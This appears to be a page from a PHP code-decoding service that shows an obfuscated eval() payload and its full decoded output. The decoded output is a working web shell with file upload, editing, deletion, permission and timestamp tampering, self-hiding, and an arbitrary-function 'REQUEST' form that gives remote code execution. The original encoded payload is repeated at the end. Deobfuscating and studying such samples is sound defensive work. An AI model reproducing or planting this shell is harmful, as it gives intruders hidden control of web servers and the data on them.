Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?=/****/@null; eval(str_rot13(gzuncompress(base64_decode('eNpVjk0LgkAURdcF/gcR17OKNtKmnPJ..
Decoded Output download
Noneif (count($files) > 1) {
$time = array();
for ($i = 0;$i < count($files);$i++) {
$time[] = filemtime($files[$i]);
}
@touch($_SERVER["SCRIPT_FILENAME"], min($time));
} else {
@touch($_SERVER["SCRIPT_FILENAME"], filemtime("./"));
}
header("X-XSS-Protection: 0");ob_start();set_time_limit(0);error_reporting(0);ini_set('display_errors', FALSE);
$Array = [
'7068705f756e616d65',
'70687076657273696f6e',
'6368646972',
'676574637764',
'707265675f73706c6974',
'636f7079',
'66696c655f6765745f636f6e74656e7473',
'6261736536345f6465636f6465',
'69735f646972',
'6f625f656e645f636c65616e28293b',
'756e6c696e6b',
'6d6b646972',
'63686d6f64',
'7363616e646972',
'7374725f7265706c616365',
'68746d6c7370656369616c6368617273',
'7661725f64756d70',
'666f70656e',
'667772697465',
'66636c6f7365',
'64617465',
'66696c656d74696d65',
'737562737472',
'737072696e7466',
'66696c657065726d73',
'746f756368',
'66696c655f657869737473',
'72656e616d65',
'69735f6172726179',
'69735f6f626a656374',
'737472706f73',
'69735f7772697461626c65',
'69735f7265616461626c65',
'737472746f74696d65',
'66696c6573697a65',
'726d646972',
'6f625f6765745f636c65616e',
'7265616466696c65',
'617373657274',
];
$___ = count($Array);
for($i=0;$i<$___;$i++) {
$GNJ[] = uhex($Array[$i]);
}
?>
<!DOCTYPE html>
<html dir="auto" lang="en-US">
<link rel="icon" href="//0x5a455553.github.io/MARIJUANA/icon.png" />
<link rel="stylesheet" href="//0x5a455553.github.io/MARIJUANA/main.css" type="text/css">
<script src="//ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/notify/0.4.2/notify.min.js"></script>
</head>
<body>
<header>
<div class="y x">
<a class="ajx" href="<?php echo basename($_SERVER['PHP_SELF']);?>">
NG4R3P
</a>
</div>
<div class="q x w">
</div>
</header>
<article>
<div class="i">
<i class="far fa-hdd"></i>
<?php echo $GNJ[0]();?>
<br />
<i class="far fa-lightbulb"></i>   <b>SOFT :</b> <?php echo $_SERVER['SERVER_SOFTWARE'];?> <b>PHP :</b> <?php echo $GNJ[1]();?>
<br />
<i class="far fa-folder"></i>
<?php
if(isset($_GET["d"])) {
$d = uhex($_GET["d"]);
$GNJ[2](uhex($_GET["d"]));
}
else {
$d = $GNJ[3]();
}
$k = $GNJ[4]("/(\|\/)/", $d );
foreach ($k as $m => $l) {
if($l=='' && $m==0) {
echo '<a class="ajx" href="?d=2f">/</a>';
}
if($l == '') {
continue;
}
echo '<a class="ajx" href="?d=';
for ($i = 0; $i <= $m; $i++) {
echo hex($k[$i]);
if($i != $m) {
echo '2f';
}
}
echo '">'.$l.'</a>/';
}
?>
<br />
</div>
<div class="u">
<?php echo $_SERVER['SERVER_ADDR'];?> <i class="fas fa-link"></i>
<br />
<br />
<form method="post" enctype="multipart/form-data">
<label class="l w">
<input type="file" name="n[]" onchange="this.form.submit()" multiple> UPLOAD
</label>
</form>
<?php
$o_ = [
'<script>$.notify("',
'", { className:"1",autoHideDelay: 2000,position:"left bottom" });</script>'
];
$f = $o_[0].'OK!'.$o_[1];
$g = $o_[0].'ER!'.$o_[1];
if(isset($_FILES["n"])) {
$z = $_FILES["n"]["name"];
$r = count($z);
for( $i=0 ; $i < $r ; $i++ ) {
if($GNJ[5]($_FILES["n"]["tmp_name"][$i], $z[$i])) {
echo $f;
}
else {
echo $g;
}
}
}
?>
</div>
<?php
$a_ = '<table cellspacing="0" cellpadding="7" width="100%">
<thead>
<tr>
<th>';
$b_ = '</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
</tr>
<tr>
<td class="x">';
$c_ = '</td>
</tr>
</tbody>
</table>';
$d_ = '<br />
<br />
<input type="submit" class="w" value=" OK " />
</form>';
if(isset($_GET["s"])) {
echo $a_.uhex($_GET["s"]).$b_.'
<textarea readonly="yes">'.$GNJ[15]($GNJ[6](uhex($_GET["s"]))).'</textarea>
<br />
<br />
<input onclick="location.href=\'?d='.$_GET["d"].'&e='.$_GET["s"].'\'" type="submit" class="w" value=" EDIT " />
'.$c_;
}
elseif(isset($_GET["y"])) {
echo $a_.'REQUEST'.$b_.'
<form method="post">
<input class="x" type="text" name="1" />
<input class="x" type="text" name="2" />
'.$d_.'
<br />
<textarea readonly="yes">';
if(isset($_POST["2"])) {
echo $GNJ[15](dre($_POST["1"], $_POST["2"]));
}
echo '</textarea>
'.$c_;
}
elseif(isset($_GET["e"])) {
echo $a_.uhex($_GET["e"]).$b_.'
<form method="post">
<textarea name="e" class="o">'.$GNJ[15]($GNJ[6](uhex($_GET["e"]))).'</textarea>
<br />
<br />
<span class="w">BASE64</span> :
<select id="b64" name="b64">
<option value="0">NO</option>
<option value="1">YES</option>
</select>
'.$d_.'
'.$c_.'
<script>
$("#b64").change(function() {
if($("#b64 option:selected").val() == 0) {
var X = $("textarea").val();
var Z = atob(X);
$("textarea").val(Z);
}
else {
var N = $("textarea").val();
var I = btoa(N);
$("textarea").val(I);
}
});
</script>';
if(isset($_POST["e"])) {
if($_POST["b64"] == "1") {
$ex = $GNJ[7]($_POST["e"]);
}
else {
$ex = $_POST["e"];
}
$fp = $GNJ[17](uhex($_GET["e"]), 'w');
if($GNJ[18]($fp, $ex)) {
OK();
}
else {
ER();
}
$GNJ[19]($fp);
}
}
elseif(isset($_GET["x"])) {
rec(uhex($_GET["x"]));
if($GNJ[26](uhex($_GET["x"]))) {
ER();
}
else {
OK();
}
}
elseif(isset($_GET["t"])) {
echo $a_.uhex($_GET["t"]).$b_.'
<form action="" method="post">
<input name="t" class="x" type="text" value="'.$GNJ[20]("Y-m-d H:i", $GNJ[21](uhex($_GET["t"]))).'">
'.$d_.'
'.$c_;
if( !empty($_POST["t"]) ) {
$p = $GNJ[33]($_POST["t"]);
if($p) {
if(!$GNJ[25](uhex($_GET["t"]),$p,$p)) {
ER();
}
else {
OK();
}
}
else {
ER();
}
}
}
elseif(isset($_GET["k"])) {
echo $a_.uhex($_GET["k"]).$b_.'
<form action="" method="post">
<input name="b" class="x" type="text" value="'.$GNJ[22]($GNJ[23]('%o', $GNJ[24](uhex($_GET["k"]))), -4).'">
'.$d_.'
'.$c_;
if(!empty($_POST["b"])) {
$x = $_POST["b"];
$t = 0;
for($i=strlen($x)-1;$i>=0;--$i)
$t += (int)$x[$i]*pow(8, (strlen($x)-$i-1));
if(!$GNJ[12](uhex($_GET["k"]), $t)) {
ER();
}
else {
OK();
}
}
}
elseif(isset($_GET["l"])) {
echo $a_.'+DIR'.$b_.'
<form action="" method="post">
<input name="l" class="x" type="text" value="">
'.$d_.'
'.$c_;
if(isset($_POST["l"])) {
if(!$GNJ[11]($_POST["l"])) {
ER();
}
else {
OK();
}
}
}
elseif(isset($_GET["q"])) {
if($GNJ[10](__FILE__)) {
$GNJ[38]($GNJ[9]);
header("Location: ".basename($_SERVER['PHP_SELF'])."");
exit();
}
else {
echo $g;
}
}
elseif(isset($_GET["n"])) {
echo $a_.'+FILE'.$b_.'
<form action="" method="post">
<input name="n" class="x" type="text" value="">
'.$d_.'
'.$c_;
if(isset($_POST["n"])) {
if(!$GNJ[25]($_POST["n"])) {
ER();
}
else {
OK();
}
}
}
elseif(isset($_GET["r"])) {
echo $a_.uhex($_GET["r"]).$b_.'
<form action="" method="post">
<input name="r" class="x" type="text" value="'.uhex($_GET["r"]).'">
'.$d_.'
'.$c_;
if(isset($_POST["r"])) {
if($GNJ[26]($_POST["r"])) {
ER();
}
else {
if($GNJ[27](uhex($_GET["r"]), $_POST["r"])) {
OK();
}
else {
ER();
}
}
}
}
elseif(isset($_GET["z"])) {
$zip = new ZipArchive;
$res = $zip->open(uhex($_GET["z"]));
if($res === TRUE) {
$zip->extractTo(uhex($_GET["d"]));
$zip->close();
OK();
} else {
ER();
}
}
else {
echo '<table cellspacing="0" cellpadding="7" width="100%">
<thead>
<tr>
<th width="44%">[ NAME ]</th>
<th width="11%">[ SIZE ]</th>
<th width="17%">[ PERM ]</th>
<th width="17%">[ DATE ]</th>
<th width="11%">[ ACT ]</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<a class="ajx" href="?d='.hex($d).'&n">+FILE</a>
<a class="ajx" href="?d='.hex($d).'&l">+DIR</a>
</td>
</tr>
';
$h = "";
$j = "";
$w = $GNJ[13]($d);
if($GNJ[28]($w) || $GNJ[29]($w)) {
foreach($w as $c){
$e = $GNJ[14]("\", "/", $d);
if(!$GNJ[30]($c, ".zip")) {
$zi = '';
}
else {
$zi = '<a href="?d='.hex($e).'&z='.hex($c).'">U</a>';
}
if($GNJ[31]("$d/$c")) {
$o = "";
}
elseif(!$GNJ[32]("$d/$c")) {
$o = " h";
}
else {
$o = " w";
}
$s = $GNJ[34]("$d/$c") / 1024;
$s = round($s, 3);
if($s>=1024) {
$s = round($s/1024, 2) . " MB";
} else {
$s = $s . " KB";
}
if(($c != ".") && ($c != "..")){
($GNJ[8]("$d/$c")) ?
$h .= '<tr class="r">
<td>
<i class="far fa-folder m"></i>
<a class="ajx" href="?d='.hex($e).hex("/".$c).'">'.$c.'</a>
</td>
<td class="x">
dir
</td>
<td class="x">
<a class="ajx'.$o.'" href="?d='.hex($e).'&k='.hex($c).'">'.x("$d/$c").'</a>
</td>
<td class="x">
<a class="ajx" href="?d='.hex($e).'&t='.hex($c).'">'.$GNJ[20]("Y-m-d H:i", $GNJ[21]("$d/$c")).'</a>
</td>
<td class="x">
<a class="ajx" href="?d='.hex($e).'&r='.hex($c).'">R</a>
<a href="?d='.hex($e).'&x='.hex($c).'">D</a>
</td>
</tr>
'
:
$j .= '<tr class="r">
<td>
<i class="far fa-file m"></i> 
<a class="ajx" href="?d='.hex($e).'&s='.hex($c).'">'.$c.'</a>
</td>
<td class="x">
'.$s.'
</td>
<td class="x">
<a class="ajx'.$o.'" href="?d='.hex($e).'&k='.hex($c).'">'.x("$d/$c").'</a>
</td>
<td class="x">
<a class="ajx" href="?d='.hex($e).'&t='.hex($c).'">'.$GNJ[20]("Y-m-d H:i", $GNJ[21]("$d/$c")).'</a>
</td>
<td class="x">
<a class="ajx" href="?d='.hex($e).'&r='.hex($c).'">R</a>
<a class="ajx" href="?d='.hex($e).'&e='.hex($c).'">E</a>
<a href="?d='.hex($e).'&g='.hex($c).'">G</a>
'.$zi.'
<a href="?d='.hex($e).'&x='.hex($c).'">D</a>
</td>
</tr>
';
}
}
}
echo $h;
echo $j;
echo '</tbody>
<tfoot>
<tr>
<th class="et">
<a class="ajx" href="?d='.hex($e).'&y">REQUEST</a>
<a href="?d='.hex($e).'&q">EXIT</a>
</th>
<th class="et" width="11%"></th>
<th class="et" width="17%"></th>
<th class="et" width="17%"></th>
<th class="et" width="11%"></th>
</tr>
</tfoot>
</table>';
}
?>
</article>
<footer class="x">
</footer>
<?php
if(isset($_GET["1"])) {
echo $f;
}
elseif(isset($_GET["0"])) {
echo $g;
}
else {
NULL;
}
?>
<script>
$(".ajx").click(function(t){t.preventDefault();var e=$(this).attr("href");history.pushState("","",e),$.get(e,function(t){$("body").html(t)})});
</script>
</body>
</html>
<?php
function rec($j) {
global $GNJ;
if(trim(pathinfo($j, PATHINFO_BASENAME ), '.') === '') {
return;
}
if($GNJ[8]($j)) {
array_map('rec', glob($j . DIRECTORY_SEPARATOR . '{,.}*', GLOB_BRACE | GLOB_NOSORT));
$GNJ[35]($j);
}
else {
$GNJ[10]($j);
}
}
function dre($y1, $y2) {
global $GNJ;
ob_start();
$GNJ[16]($y1($y2));
return $GNJ[36]();
}
function hex($n) {
$y='';
for ($i=0; $i < strlen($n); $i++){
$y .= dechex(ord($n[$i]));
}
return $y;
}
function uhex($y) {
$n='';
for ($i=0; $i < strlen($y)-1; $i+=2){
$n .= chr(hexdec($y[$i].$y[$i+1]));
}
return $n;
}
function OK() {
global $GNJ, $d;
$GNJ[38]($GNJ[9]);
header("Location: ?d=".hex($d)."&1");
exit();
}
function ER() {
global $GNJ, $d;
$GNJ[38]($GNJ[9]);
header("Location: ?d=".hex($d)."&0");
exit();
}
function x($c) {
global $GNJ;
$x = $GNJ[24]($c);
if(($x & 0xC000) == 0xC000) {
$u = "s";
}
elseif(($x & 0xA000) == 0xA000) {
$u = "l";
}
elseif(($x & 0x8000) == 0x8000) {
$u = "-";
}
elseif(($x & 0x6000) == 0x6000) {
$u = "b";
}
elseif(($x & 0x4000) == 0x4000) {
$u = "d";
}
elseif(($x & 0x2000) == 0x2000) {
$u = "c";
}
elseif(($x & 0x1000) == 0x1000) {
$u = "p";
}
else {
$u = "u";
}
$u .= (($x & 0x0100) ? "r" : "-");
$u .= (($x & 0x0080) ? "w" : "-");
$u .= (($x & 0x0040) ? (($x & 0x0800) ? "s" : "x") : (($x & 0x0800) ? "S" : "-"));
$u .= (($x & 0x0020) ? "r" : "-");
$u .= (($x & 0x0010) ? "w" : "-");
$u .= (($x & 0x0008) ? (($x & 0x0400) ? "s" : "x") : (($x & 0x0400) ? "S" : "-"));
$u .= (($x & 0x0004) ? "r" : "-");
$u .= (($x & 0x0002) ? "w" : "-");
$u .= (($x & 0x0001) ? (($x & 0x0200) ? "t" : "x") : (($x & 0x0200) ? "T" : "-"));
return $u;
}
if(isset($_GET["g"])) {
$GNJ[38]($GNJ[9]);
header("Content-Type: application/octet-stream");
header("Content-Transfer-Encoding: Binary");
header("Content-Length: ".$GNJ[34](uhex($_GET["g"])));
header("Content-disposition: attachment; filename=\"".uhex($_GET["g"])."\"");
$GNJ[37](uhex($_GET["g"]));
}
Did this file decode correctly?
Original Code
<?=/****/@null; eval(str_rot13(gzuncompress(base64_decode('eNpVjk0LgkAURdcF/gcR17OKNtKmnPJb0yJoEyqamPOpaPjrmwlSe8vz3jv3KnqUYnowLeJEmbpTtQ5VmqGj2g9eSdM4bSlhSrMxF7ji4/FMYMIlLHhZasZ6JUfR7/QJb/UJuWK1dIKlC8yG6bHYeyMLQiSVBJdcxGBq9Z4Z2xJtNw8mUMda5+rHuM8l5FQgZ7DdPCJv2wq+lxnjcx14udDCDFtrgLLQLwRMbrBQgj+X8QGz8E9e'))));eval($RGGcrQBfUjR('aWYgKGNvdW50KCRmaWxlcykgPiAxKSB7CiAgICAkdGltZSA9IGFycmF5KCk7CiAgICBmb3IgKCRpID0gMDskaSA8IGNvdW50KCRmaWxlcyk7JGkrKykgewogICAgICAgICR0aW1lW10gPSBmaWxlbXRpbWUoJGZpbGVzWyRpXSk7CiAgICB9CiAgICBAdG91Y2goJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdLCBtaW4oJHRpbWUpKTsKfSBlbHNlIHsKICAgIEB0b3VjaCgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0sIGZpbGVtdGltZSgiLi8iKSk7Cn0KaGVhZGVyKCJYLVhTUy1Qcm90ZWN0aW9uOiAwIik7b2Jfc3RhcnQoKTtzZXRfdGltZV9saW1pdCgwKTtlcnJvcl9yZXBvcnRpbmcoMCk7aW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLCBGQUxTRSk7CiRBcnJheSA9IFsKCQknNzA2ODcwNWY3NTZlNjE2ZDY1JywKCQknNzA2ODcwNzY2NTcyNzM2OTZmNmUnLAoJCSc2MzY4NjQ2OTcyJywKCQknNjc2NTc0NjM3NzY0JywKCQknNzA3MjY1Njc1ZjczNzA2YzY5NzQnLAoJCSc2MzZmNzA3OScsCgkJJzY2Njk2YzY1NWY2NzY1NzQ1ZjYzNmY2ZTc0NjU2ZTc0NzMnLAoJCSc2MjYxNzM2NTM2MzQ1ZjY0NjU2MzZmNjQ2NScsCgkJJzY5NzM1ZjY0Njk3MicsCgkJJzZmNjI1ZjY1NmU2NDVmNjM2YzY1NjE2ZTI4MjkzYicsCgkJJzc1NmU2YzY5NmU2YicsCgkJJzZkNmI2NDY5NzInLAoJCSc2MzY4NmQ2ZjY0JywKCQknNzM2MzYxNmU2NDY5NzInLAoJCSc3Mzc0NzI1ZjcyNjU3MDZjNjE2MzY1JywKCQknNjg3NDZkNmM3MzcwNjU2MzY5NjE2YzYzNjg2MTcyNzMnLAoJCSc3NjYxNzI1ZjY0NzU2ZDcwJywKCQknNjY2ZjcwNjU2ZScsCgkJJzY2Nzc3MjY5NzQ2NScsCgkJJzY2NjM2YzZmNzM2NScsCgkJJzY0NjE3NDY1JywKCQknNjY2OTZjNjU2ZDc0Njk2ZDY1JywKCQknNzM3NTYyNzM3NDcyJywKCQknNzM3MDcyNjk2ZTc0NjYnLAoJCSc2NjY5NmM2NTcwNjU3MjZkNzMnLAoJCSc3NDZmNzU2MzY4JywKCQknNjY2OTZjNjU1ZjY1Nzg2OTczNzQ3MycsCgkJJzcyNjU2ZTYxNmQ2NScsCgkJJzY5NzM1ZjYxNzI3MjYxNzknLAoJCSc2OTczNWY2ZjYyNmE2NTYzNzQnLAoJCSc3Mzc0NzI3MDZmNzMnLAoJCSc2OTczNWY3NzcyNjk3NDYxNjI2YzY1JywKCQknNjk3MzVmNzI2NTYxNjQ2MTYyNmM2NScsCgkJJzczNzQ3Mjc0NmY3NDY5NmQ2NScsCgkJJzY2Njk2YzY1NzM2OTdhNjUnLAoJCSc3MjZkNjQ2OTcyJywKCQknNmY2MjVmNjc2NTc0NWY2MzZjNjU2MTZlJywKCQknNzI2NTYxNjQ2NjY5NmM2NScsCgkJJzYxNzM3MzY1NzI3NCcsCl07CiRfX18gPSBjb3VudCgkQXJyYXkpOwpmb3IoJGk9MDskaTwkX19fOyRpKyspIHsKCSRHTkpbXSA9IHVoZXgoJEFycmF5WyRpXSk7Cn0KPz4KPCFET0NUWVBFIGh0bWw+Cgk8aHRtbCBkaXI9ImF1dG8iIGxhbmc9ImVuLVVTIj4KCgkJCTxsaW5rIHJlbD0iaWNvbiIgaHJlZj0iLy8weDVhNDU1NTUzLmdpdGh1Yi5pby9NQVJJSlVBTkEvaWNvbi5wbmciIC8+CgkJCTxsaW5rIHJlbD0ic3R5bGVzaGVldCIgaHJlZj0iLy8weDVhNDU1NTUzLmdpdGh1Yi5pby9NQVJJSlVBTkEvbWFpbi5jc3MiIHR5cGU9InRleHQvY3NzIj4KCgkJCTxzY3JpcHQgc3JjPSIvL2FqYXguZ29vZ2xlYXBpcy5jb20vYWpheC9saWJzL2pxdWVyeS8zLjMuMS9qcXVlcnkubWluLmpzIj48L3NjcmlwdD4KCQkJPHNjcmlwdCBzcmM9Ii8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL25vdGlmeS8wLjQuMi9ub3RpZnkubWluLmpzIj48L3NjcmlwdD4KCQk8L2hlYWQ+CgoJCTxib2R5PgoJCQk8aGVhZGVyPgoJCQkJPGRpdiBjbGFzcz0ieSB4Ij4KCQkJCQk8YSBjbGFzcz0iYWp4IiBocmVmPSI8P3BocCBlY2hvIGJhc2VuYW1lKCRfU0VSVkVSWydQSFBfU0VMRiddKTs/PiI+CgkJCQkJCU5HNFIzUAoJCQkJCTwvYT4KCQkJCTwvZGl2PgoKCQkJCTxkaXYgY2xhc3M9InEgeCB3Ij4KCQkJCQkKCQkJCTwvZGl2PgoJCQkJCgkJCTwvaGVhZGVyPgoKCQkJPGFydGljbGU+CgkJCQk8ZGl2IGNsYXNzPSJpIj4KCQkJCQk8aSBjbGFzcz0iZmFyIGZhLWhkZCI+PC9pPgoJCQkJCTw/cGhwIGVjaG8gJEdOSlswXSgpOz8+CgoJCQkJCTxiciAvPgoKCQkJCQk8aSBjbGFzcz0iZmFyIGZhLWxpZ2h0YnVsYiI+PC9pPiAmdGhpbnNwOyZ0aGluc3A7PGI+U09GVCAgOjwvYj4gPD9waHAgZWNobyAkX1NFUlZFUlsnU0VSVkVSX1NPRlRXQVJFJ107Pz4gPGI+UEhQIDo8L2I+IDw/cGhwIGVjaG8gJEdOSlsxXSgpOz8+CgoJCQkJCTxiciAvPgoKCQkJCQk8aSBjbGFzcz0iZmFyIGZhLWZvbGRlciI+PC9pPgoJCQkJCQoJCQkJCTw/cGhwCgkJCQkJaWYoaXNzZXQoJF9HRVRbImQiXSkpIHsKCQkJCQkJJGQgPSB1aGV4KCRfR0VUWyJkIl0pOwoJCQkJCQkkR05KWzJdKHVoZXgoJF9HRVRbImQiXSkpOwoJCQkJCX0KCQkJCQllbHNlIHsKCQkJCQkJJGQgPSAkR05KWzNdKCk7CgkJCQkJfQoJCQkJCSRrID0gJEdOSls0XSgiLyhcXFx8XC8pLyIsICRkICk7CgkJCQkJZm9yZWFjaCAoJGsgYXMgJG0gPT4gJGwpIHsgCgkJCQkJCWlmKCRsPT0nJyAmJiAkbT09MCkgewoJCQkJCQkJZWNobyAnPGEgY2xhc3M9ImFqeCIgaHJlZj0iP2Q9MmYiPi88L2E+JzsKCQkJCQkJfQoJCQkJCQlpZigkbCA9PSAnJykgeyAKCQkJCQkJCWNvbnRpbnVlOwoJCQkJCQl9CgkJCQkJCWVjaG8gJzxhIGNsYXNzPSJhangiIGhyZWY9Ij9kPSc7CgkJCQkJCWZvciAoJGkgPSAwOyAkaSA8PSAkbTsgJGkrKykgewoJCQkJCQkJZWNobyBoZXgoJGtbJGldKTsgCgkJCQkJCQlpZigkaSAhPSAkbSkgewoJCQkJCQkJCWVjaG8gJzJmJzsKCQkJCQkJCX0KCQkJCQkJfQoJCQkJCQllY2hvICciPicuJGwuJzwvYT4vJzsgCgkJCQkJfQoJCQkJCT8+CgoJCQkJCTxiciAvPgoKCQkJCTwvZGl2PgoKCQkJCTxkaXYgY2xhc3M9InUiPgoJCQkJCTw/cGhwIGVjaG8gJF9TRVJWRVJbJ1NFUlZFUl9BRERSJ107Pz4gPGkgY2xhc3M9ImZhcyBmYS1saW5rIj48L2k+CgkJCQkJPGJyIC8+CgoJCQkJCTxiciAvPgoKCQkJCQk8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPgoJCQkJCQk8bGFiZWwgY2xhc3M9ImwgdyI+CgkJCQkJCQk8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0ibltdIiBvbmNoYW5nZT0idGhpcy5mb3JtLnN1Ym1pdCgpIiBtdWx0aXBsZT4gJm5ic3A7VVBMT0FECgkJCQkJCTwvbGFiZWw+Jm5ic3A7CgkJCQkJPC9mb3JtPgoKCQkJCQk8P3BocAoJCQkJCSRvXyA9IFsgCgkJCQkJCQknPHNjcmlwdD4kLm5vdGlmeSgiJywKCQkJCQkJCSciLCB7IGNsYXNzTmFtZToiMSIsYXV0b0hpZGVEZWxheTogMjAwMCxwb3NpdGlvbjoibGVmdCBib3R0b20iIH0pOzwvc2NyaXB0PicKCQkJCQkJXTsKCQkJCQkkZiA9ICRvX1swXS4nT0shJy4kb19bMV07CgkJCQkJJGcgPSAkb19bMF0uJ0VSIScuJG9fWzFdOwoJCQkJCWlmKGlzc2V0KCRfRklMRVNbIm4iXSkpIHsKCQkJCQkJJHogPSAkX0ZJTEVTWyJuIl1bIm5hbWUiXTsKCQkJCQkJJHIgPSBjb3VudCgkeik7CgkJCQkJCWZvciggJGk9MCA7ICRpIDwgJHIgOyAkaSsrICkgewoJCQkJCQkJaWYoJEdOSls1XSgkX0ZJTEVTWyJuIl1bInRtcF9uYW1lIl1bJGldLCAkelskaV0pKSB7CgkJCQkJCQkJZWNobyAkZjsKCQkJCQkJCX0KCQkJCQkJCWVsc2UgewoJCQkJCQkJCWVjaG8gJGc7CgkJCQkJCQl9CgkJCQkJCX0KCQkJCQl9CgkJCQkJPz4KCgkJCQk8L2Rpdj4KCQkJCQk8P3BocAoJCQkJCSRhXyA9ICc8dGFibGUgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSI3IiB3aWR0aD0iMTAwJSI+CgkJCQkJCTx0aGVhZD4KCQkJCQkJCTx0cj4KCQkJCQkJCQk8dGg+JzsKCQkJCQkkYl8gPSAnPC90aD4KCQkJCQkJCTwvdHI+CgkJCQkJCTwvdGhlYWQ+CgkJCQkJCTx0Ym9keT4KCQkJCQkJCTx0cj4KCQkJCQkJCQk8dGQ+PC90ZD4KCQkJCQkJCTwvdHI+CgkJCQkJCQk8dHI+CgkJCQkJCQkJPHRkIGNsYXNzPSJ4Ij4nOwoJCQkJCSRjXyA9ICc8L3RkPgoJCQkJCQkJPC90cj4KCQkJCQkJPC90Ym9keT4KCQkJCQk8L3RhYmxlPic7CgkJCQkJJGRfID0gJzxiciAvPgoJCQkJCQkJCQkJPGJyIC8+CgkJCQkJCQkJCQk8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0idyIgdmFsdWU9IiZuYnNwO09LJm5ic3A7IiAvPgoJCQkJCQkJCQk8L2Zvcm0+JzsKCQkJCQlpZihpc3NldCgkX0dFVFsicyJdKSkgewoJCQkJCQllY2hvICRhXy51aGV4KCRfR0VUWyJzIl0pLiRiXy4nCgkJCQkJCQkJCTx0ZXh0YXJlYSByZWFkb25seT0ieWVzIj4nLiRHTkpbMTVdKCRHTkpbNl0odWhleCgkX0dFVFsicyJdKSkpLic8L3RleHRhcmVhPgoJCQkJCQkJCQk8YnIgLz4KCQkJCQkJCQkJPGJyIC8+CgkJCQkJCQkJCTxpbnB1dCBvbmNsaWNrPSJsb2NhdGlvbi5ocmVmPVwnP2Q9Jy4kX0dFVFsiZCJdLicmZT0nLiRfR0VUWyJzIl0uJ1wnIiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJ3IiB2YWx1ZT0iJm5ic3A7RURJVCZuYnNwOyIgLz4KCQkJCQkJCQknLiRjXzsKCQkJCQl9CgkJCQkJZWxzZWlmKGlzc2V0KCRfR0VUWyJ5Il0pKSB7CgkJCQkJCWVjaG8gJGFfLidSRVFVRVNUJy4kYl8uJwoJCQkJCQkJCQk8Zm9ybSBtZXRob2Q9InBvc3QiPgoJCQkJCQkJCQkJPGlucHV0IGNsYXNzPSJ4IiB0eXBlPSJ0ZXh0IiBuYW1lPSIxIiAvPiZuYnNwOyZuYnNwOwoJCQkJCQkJCQkJPGlucHV0IGNsYXNzPSJ4IiB0eXBlPSJ0ZXh0IiBuYW1lPSIyIiAvPgoJCQkJCQkJCQkJJy4kZF8uJwoJCQkJCQkJCQk8YnIgLz4KCQkJCQkJCQkJPHRleHRhcmVhIHJlYWRvbmx5PSJ5ZXMiPic7CgoJCQkJCQkJCQlpZihpc3NldCgkX1BPU1RbIjIiXSkpIHsKCQkJCQkJCQkJCWVjaG8gJEdOSlsxNV0oZHJlKCRfUE9TVFsiMSJdLCAkX1BPU1RbIjIiXSkpOwoJCQkJCQkJCQl9CgoJCQkJCQkJCWVjaG8gJzwvdGV4dGFyZWE+CgkJCQkJCQkJJy4kY187CgkJCQkJfQoJCQkJCWVsc2VpZihpc3NldCgkX0dFVFsiZSJdKSkgewoJCQkJCQllY2hvICRhXy51aGV4KCRfR0VUWyJlIl0pLiRiXy4nCgkJCQkJCQkJCTxmb3JtIG1ldGhvZD0icG9zdCI+CgkJCQkJCQkJCQk8dGV4dGFyZWEgbmFtZT0iZSIgY2xhc3M9Im8iPicuJEdOSlsxNV0oJEdOSls2XSh1aGV4KCRfR0VUWyJlIl0pKSkuJzwvdGV4dGFyZWE+CgkJCQkJCQkJCQk8YnIgLz4KCQkJCQkJCQkJCTxiciAvPgoJCQkJCQkJCQkJPHNwYW4gY2xhc3M9InciPkJBU0U2NDwvc3Bhbj4gOgoJCQkJCQkJCQkJPHNlbGVjdCBpZD0iYjY0IiBuYW1lPSJiNjQiPgoJCQkJCQkJCQkJCTxvcHRpb24gdmFsdWU9IjAiPk5PPC9vcHRpb24+CgkJCQkJCQkJCQkJPG9wdGlvbiB2YWx1ZT0iMSI+WUVTPC9vcHRpb24+CgkJCQkJCQkJCQk8L3NlbGVjdD4KCQkJCQkJCQkJCScuJGRfLicKCQkJCQkJCQknLiRjXy4nCgkJCQkJCQkJCgkJCQkJPHNjcmlwdD4KCQkJCQkJJCgiI2I2NCIpLmNoYW5nZShmdW5jdGlvbigpIHsKCQkJCQkJCWlmKCQoIiNiNjQgb3B0aW9uOnNlbGVjdGVkIikudmFsKCkgPT0gMCkgewoJCQkJCQkJCXZhciBYID0gJCgidGV4dGFyZWEiKS52YWwoKTsKCQkJCQkJCQl2YXIgWiA9IGF0b2IoWCk7CgkJCQkJCQkJJCgidGV4dGFyZWEiKS52YWwoWik7CgkJCQkJCQl9CgkJCQkJCQllbHNlIHsKCQkJCQkJCQl2YXIgTiA9ICQoInRleHRhcmVhIikudmFsKCk7CgkJCQkJCQkJdmFyIEkgPSBidG9hKE4pOwoJCQkJCQkJCSQoInRleHRhcmVhIikudmFsKEkpOwoJCQkJCQkJfQoJCQkJCQl9KTsKCQkJCQk8L3NjcmlwdD4nOwoJCQkJCWlmKGlzc2V0KCRfUE9TVFsiZSJdKSkgewoJCQkJCQlpZigkX1BPU1RbImI2NCJdID09ICIxIikgewoJCQkJCQkJJGV4ID0gJEdOSls3XSgkX1BPU1RbImUiXSk7CgkJCQkJCX0KCQkJCQkJZWxzZSB7CgkJCQkJCQkkZXggPSAkX1BPU1RbImUiXTsKCQkJCQkJfQoJCQkJCQkkZnAgPSAkR05KWzE3XSh1aGV4KCRfR0VUWyJlIl0pLCAndycpOwoJCQkJCQlpZigkR05KWzE4XSgkZnAsICRleCkpIHsKCQkJCQkJCU9LKCk7CgkJCQkJCX0KCQkJCQkJZWxzZSB7CgkJCQkJCQlFUigpOwoJCQkJCQl9CgkJCQkJCSRHTkpbMTldKCRmcCk7CgkJCQkJICB9CgkJCQkJfQoJCQ